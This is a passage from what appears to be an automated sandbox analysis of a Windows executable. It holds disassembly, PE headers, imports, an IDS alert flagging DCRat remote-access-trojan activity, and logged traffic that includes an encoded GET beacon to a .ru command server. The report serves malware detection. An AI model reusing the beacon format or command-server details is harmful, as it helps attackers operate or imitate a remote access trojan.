cmp ecx, dword ptr [0043E668h]
jne 00007F43207E9BD5h
ret
jmp 00007F43207EA1CEh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F43207DC967h
mov dword ptr [esi], 00435580h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00435588h
mov dword ptr [ecx], 00435580h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00435568h
push eax
call 00007F43207ECD6Dh
pop ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F43207DC8FEh
push 0043B704h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F43207EC482h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F43207E9B74h
push 0043B91Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F43207EC465h
int3
jmp 00007F43207EE4B3h
jmp dword ptr [00433260h]
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push 00421EB0h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3c820	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c854	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x63000	0xdfd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x71000	0x2268	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3aac0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35508	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x260	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3bdc4	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x310ea	0x31200	c5bf61bbedb6ad471e9dc6266398e965	False	0.583959526081425	data	6.708075396341128	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xa612	0xa800	7980b588d5b28128a2f3c36cabe2ce98	False	0.45284598214285715	data	5.221742709250668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x23728	0x1000	201530c9e56f172adf2473053298d48f	False	0.36767578125	data	3.7088186669877685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x62000	0x188	0x200	c5d41d8f254f69e567595ab94266cfdc	False	0.4453125	data	3.2982538067961342	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x63000	0xdfd0	0xe000	f6c0f34fae6331b50a7ad2efc4bfefdb	False	0.6370326450892857	data	6.6367506404157535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x71000	0x2268	0x2400	c7a942b723cb29d9c02f7c611b544b50	False	0.7681206597222222	data	6.5548620101740545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x63650	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x64198	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x65748	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x65cb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x66558	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x67400	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x67868	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x68910	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x6aeb8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x6f588	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x6f358	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x6f498	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x6f228	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x6eef0	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x6ec98	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x6ff68	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x70150	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x70320	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x704d8	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x70620	0x446	data	English	United States	0.340036563071298
RT_STRING	0x70a68	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x70bd0	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x70d28	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x70e38	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x70ef8	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x6ec30	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x6f810	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T09:22:11.861438+0200	TCP	2034194	ET MALWARE DCRAT Activity (GET)	1	49734	80	192.168.2.4	141.8.194.149

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 09:22:11.156493902 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.161345005 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.161905050 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.162435055 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.167217970 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861377954 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861390114 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861401081 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861423016 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861432076 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861438036 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.861443043 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861468077 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861483097 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861500025 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861526012 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.861538887 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.861939907 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.866261005 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.866308928 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.866318941 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.866492987 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.976166964 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976176977 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976250887 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976262093 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976273060 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976299047 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.976478100 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976494074 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976504087 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.976505041 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976520061 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976530075 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.976560116 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.977144003 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977164984 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977174997 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977220058 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977231026 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977936029 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977946043 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977957964 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977972984 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977988005 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.977998018 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.978849888 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.978883028 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.979779959 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.980010033 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.981156111 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.981165886 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.981178045 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.981189966 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:11.981211901 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:11.981304884 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.090919018 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.090929031 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091114044 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.091155052 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091185093 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091193914 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091204882 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091216087 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091273069 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091283083 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091294050 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091310024 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091320992 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091337919 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.091368914 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.091546059 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.098903894 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.103756905 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.312961102 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.312973022 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.312988043 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.312999010 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313009024 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313013077 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313019037 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313030005 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313040018 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313051939 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313060045 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313067913 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313072920 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313204050 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313251972 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313271046 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313282013 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313298941 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313314915 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313369989 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313381910 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313390970 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313391924 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313415051 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313436985 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313488960 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313508034 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313518047 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313528061 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313539982 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313543081 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313551903 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.313568115 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.313601017 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.314023972 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314065933 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314075947 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314115047 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.314137936 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314152956 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314162970 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314172983 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314188004 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.314205885 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.314249992 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314260006 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314270020 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314280033 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314290047 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.314296961 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314304113 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.314310074 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.314347982 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.315037966 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315049887 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315061092 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315088034 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.315114975 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315124989 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315135956 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315154076 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315159082 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.315165043 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315181971 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315192938 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315196991 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.315203905 CEST	80	49734	141.8.194.149	192.168.2.4
Aug 31, 2024 09:22:12.315222979 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.315238953 CEST	49734	80	192.168.2.4	141.8.194.149
Aug 31, 2024 09:22:12.324552059 CEST	49734	80	192.168.2.4	141.8.194.149

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 09:22:11.136359930 CEST	59771	53	192.168.2.4	1.1.1.1
Aug 31, 2024 09:22:11.146543980 CEST	53	59771	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 09:22:11.136359930 CEST	192.168.2.4	1.1.1.1	0xec1b	Standard query (0)	a1023624.xsph.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 09:22:11.146543980 CEST	1.1.1.1	192.168.2.4	0xec1b	No error (0)	a1023624.xsph.ru		141.8.194.149	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

a1023624.xsph.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	141.8.194.149	80	7900	C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 09:22:11.162435055 CEST	477	OUT	GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: a1023624.xsph.ru Connection: Keep-Alive
Aug 31, 2024 09:22:11.861377954 CEST	1236	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Sat, 31 Aug 2024 07:22:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d [TRUNCATED] Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-betwe [TRUNCATED]
Aug 31, 2024 09:22:11.861390114 CEST	1236	IN	Data Raw: 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b Data Ascii: tify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height:450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-i
Aug 31, 2024 09:22:11.861401081 CEST	1236	IN	Data Raw: 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 33 38 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 36 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 2d 6c 69 6e 65 7d 2e 77 72 61 Data Ascii: t:700;font-size:38px;line-height:100%;margin-bottom:16px;white-space:pre-line}.wrapper .content .right-side{display:table}.wrapper .content .footer,.wrapper .content .right-side .image-container{display:-webkit-box;display:-webkit-flex;display
